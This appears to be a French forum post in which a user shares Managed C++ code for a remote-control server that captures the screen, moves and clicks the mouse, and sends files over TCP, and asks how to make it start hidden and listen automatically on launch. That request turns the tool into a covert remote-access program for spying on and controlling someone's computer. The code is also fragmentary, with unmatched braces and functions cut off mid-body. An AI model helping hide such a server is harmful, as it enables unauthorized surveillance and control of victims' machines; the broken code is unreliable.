voici le code d'un serveur,un fichier exe censée recevoir une connexion du client
voila on le lance une fenetre s'ouvre puis on clique sur start pour le mettre en ecoute.moi je voudrais 1)quil se lance en mode invisible 2)quil soit directement sur position start quand il souvre c'est a dire pas besoin de cliker sur star il attend la connexion client des louverture du server merci de m'aider.
namespace Serveur
{
using namespace System;
using namespace System::IO;
using namespace System::ComponentModel;
using namespace System::Collections;
using namespace System::Windows::Forms;
using namespace System::Data;
using namespace System::Drawing;
using namespace System::Net;
using namespace System::Net::Sockets;
using namespace System::Threading;
using namespace System::Drawing::Imaging;
/// <summary>
/// Description résumée de Form1
///
/// AVERTISSEMENT : Si vous modifiez le nom de cette classe, vous devrez également modifier la
/// propriété 'Nom du fichier de ressources' de l'outil de compilation de ressource managée
/// pour tous les fichiers .resx dont dépend cette classe. Dans le cas contraire,
/// les concepteurs ne pourront pas interagir correctement avec les ressources
/// localisées associées à ce formulaire.
/// </summary>
public __gc class Form1 : public System::Windows::Forms::Form
{
public:
Form1(void)
{
InitializeComponent();
myThread=new Thread(new ThreadStart(this, &Serveur));
}
//pour le serveur :
private: Threading::Thread *myThread;
//static car utilisé dans le thread
private: static TcpListener* server;
private: static TcpClient* client;
//stream pour lire/ecrire sur le socket
private: static NetworkStream* stream;
// pour le lecteur binaire sur le socket (plus pratique)
private: static BinaryWriter *socketbinwrite;
private: static BinaryReader *socketbinread;
//binary Reader sur les fichiers
private: static BinaryReader* FichierBinReader;
private: static BinaryWriter* FichierBinWrite;
private: static System::Windows::Forms::ProgressBar * progressBar1;
}
private: System::Void button1_Click(System::Object * sender, System::EventArgs * e)
{
//si le thread n'est pas démarré
if(myThread->IsAlive == false)
{
//on lance le thread
myThread->Start();
this->Text = "Thread Start";
this->button1->Text="STOP";
}
//sinon, si il se trouve dans un autre etat (il faut tj regarder dans quel etat se trouve le thread avant d'intervenir dessus)
//exemple: si le thread a ete mis en pause, on le remet en route:
//if(myThread->ThreadState == ThreadState::Suspended)
// myThread->Resume();
else
{
}
if(message->CompareTo("mouseMov")==0)
{
Int32 posX;
Int32 posY;
posX=socketbinread->ReadInt32();
posY=socketbinread->ReadInt32();
//on recalcul la pos par rapport a l ecran
int nScreenWidth = GetSystemMetrics(SM_CXSCREEN);
int nScreenHeight = GetSystemMetrics(SM_CYSCREEN);
posX=posX*nScreenWidth/800;
posY=posY*nScreenHeight/600;
//on place la souris !
SetCursorPos(posX, posY);
//mouse_event( MOUSEEVENTF_MOVE,posX,posY,0,NULL);
}
if(message->CompareTo("click")==0)
{
Int32 posX=0;
Int32 posY=0;
String*boutton;
//on recupere le bouton cliqué
boutton=socketbinread->ReadString();
posX=socketbinread->ReadInt32();
posY=socketbinread->ReadInt32();
//on recalcul les posX et posY par rapport a la taille de l ecran
int nScreenWidth = GetSystemMetrics(SM_CXSCREEN);
int nScreenHeight = GetSystemMetrics(SM_CYSCREEN);
posX=posX*nScreenWidth/800;
posY=posY*nScreenHeight/600;
if (boutton->CompareTo("gaucheDOWN")==0)
{ SetCursorPos(posX,posY);
mouse_event(MOUSEEVENTF_LEFTDOWN,posX,posY,0,NULL);
}
if (boutton->CompareTo("gaucheUP")==0)
{ SetCursorPos(posX,posY);
mouse_event(MOUSEEVENTF_LEFTUP,posX,posY,0,NULL);
}
if (boutton->CompareTo("droiteDOWN")==0)
{ SetCursorPos(posX,posY);
mouse_event(MOUSEEVENTF_RIGHTDOWN,posX,posY,0,NULL);
}
if (boutton->CompareTo("droiteUP")==0)
{ SetCursorPos(posX,posY);
mouse_event(MOUSEEVENTF_RIGHTUP,posX,posY,0,NULL);
}
}
if(message->CompareTo("fichier")==0)
{
fileup(socketbinread->ReadString());
}
}
}
static void screenshot(int width, int height)
{
//execute le screenshot (trouvé sur www.codeproject.com ;) )
int nScreenWidth = GetSystemMetrics(SM_CXSCREEN);
int nScreenHeight = GetSystemMetrics(SM_CYSCREEN);
HWND hDesktopWnd = GetDesktopWindow();
HDC hDesktopDC = GetDC(hDesktopWnd);
HDC hCaptureDC = CreateCompatibleDC(hDesktopDC);
HBITMAP hCaptureBitmap =CreateCompatibleBitmap(hDesktopDC,nScreenWidth, nScreenHeight);
SelectObject(hCaptureDC,hCaptureBitmap);
//bitblt
BitBlt(hCaptureDC,0,0,nScreenWidth,nScreenHeight,hDesktopDC,0,0,SRCCOPY);
//stretchBlt est pareil que bitblt mais permet en plus de redimensionner
//StretchBlt(hCaptureDC,0,0,1024,768,hDesktopDC,0,0,nScreenWidth,nScreenHeight,SRCCOPY);
Bitmap*bitmap;
//on recupere la bitmap de hCaptureBitmap
bitmap = System::Drawing::Bitmap::FromHbitmap(hCaptureBitmap);
//redimensionne l'image bitmap selon la dimension que demande le client
bitmap = new Bitmap(bitmap, width, height);
static void fileup(String*nomfichier)
{
//lon renvoi la taille du fichier au client
//on prepare le reader binaire sur le fichier pour connaitre sa taille
FichierBinReader= new BinaryReader(File::Open(nomfichier, FileMode::Open));
//messclient=socketbinread->ReadString();